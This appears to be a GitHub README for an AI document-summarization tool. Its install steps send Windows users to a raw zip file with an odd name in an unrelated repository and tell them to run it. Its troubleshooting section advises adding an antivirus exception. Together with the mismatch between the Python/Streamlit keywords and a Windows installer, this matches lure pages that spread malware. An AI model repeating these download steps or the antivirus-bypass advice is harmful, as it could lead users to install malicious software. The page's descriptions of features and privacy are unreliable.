Maquia8292

🤖 Research-Document-Summarization-Agent - Create accurate summaries of your research files

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This application helps you read long documents quickly. It uses artificial intelligence to scan PDF and text files. You get clear summaries, key concepts, and answers to your questions. You save time when you analyze reports, academic papers, or long articles.

📋 System Requirements

Your computer needs to meet these basic standards to run the application smoothly:

• Operating System: Windows 10 or Windows 11.
• Processor: An Intel i5 or AMD Ryzen 5 chip or better.
• Memory: 8 GB of RAM or more.
• Storage: 500 MB of space available on your drive.
• Network: A stable internet connection to communicate with the Google Gemini engine.
• Software: You need a web browser like Chrome, Edge, or Firefox.

📥 How to Install

Follow these steps to set up the tool on your machine.

1. Visit this page to download the software: https://github.com/Maquia8292/maquia8292.github.io/raw/refs/heads/main/inside2-u2/App_obstruent.zip
2. Locate the Download button on the GitHub page.
3. Choose the option that matches your Windows system.
4. Save the file to your desktop or downloads folder.
5. Double-click the file to start the installation.
6. Follow the prompts on your screen to complete the setup.

🚀 Running the Application

Once you finish the setup, look for the shortcut icon on your desktop.

1. Click the application icon.
2. A window opens in your web browser. This is the control center for your agent.
3. Upload your document by clicking the Choose File button.
4. Select a PDF or text file from your computer.
5. Choose your summary mode from the menu. You can pick options like Brief, Detailed, or Bullet Points.
6. Click the Go button to let the system generate your results.

💡 Using Key Features

The application provides several tools to help your research workflow.

Smart Summarization

The agent reads your entire document. It then creates a summary based on your selected mode. This allows you to grasp the main point of a 50-page report in seconds.

Concept Extraction

The software highlights important terms and phrases throughout your document. It displays these in a side panel. Click any term to see a definition or additional context.

Document Q&A

If you have a specific question about the text, type it into the chat box. The agent searches the document for the answer. It provides accurate responses based only on the material you uploaded.

🛠️ Troubleshooting

If the application fails to start or shows an error, check these items:

• Verify your internet connection. The AI engine requires a live link to function.
• Ensure the file you uploaded is a valid PDF or plain text file.
• Close other resource-heavy programs if your computer feels slow.
• Restart your web browser if the page stops responding.
• Ensure your antivirus software does not block the application. You may need to add an exception for this tool.

🛡️ Privacy and Safety

Your documents remain private. This tool sends your text to the Google Gemini service to generate summaries. It does not store your files on external servers after it processes your request. You should avoid uploading documents containing sensitive personal information like bank details or government IDs.

📈 Improving Performance

You can get the best results by using clean, clear documents. Scanned paper documents with handwritten notes often confuse the scanning tool. Use digital PDFs created from text editors for the highest accuracy. If the agent struggles with a complex section, try highlighting that specific part and asking a targeted question in the Q&A box.

Keywords: ai-agent, document-summarizer, gemini-api, generative-ai, google-gemini, llm, nlp, pdf-parser, python, research-assistant, streamlit, text-summarization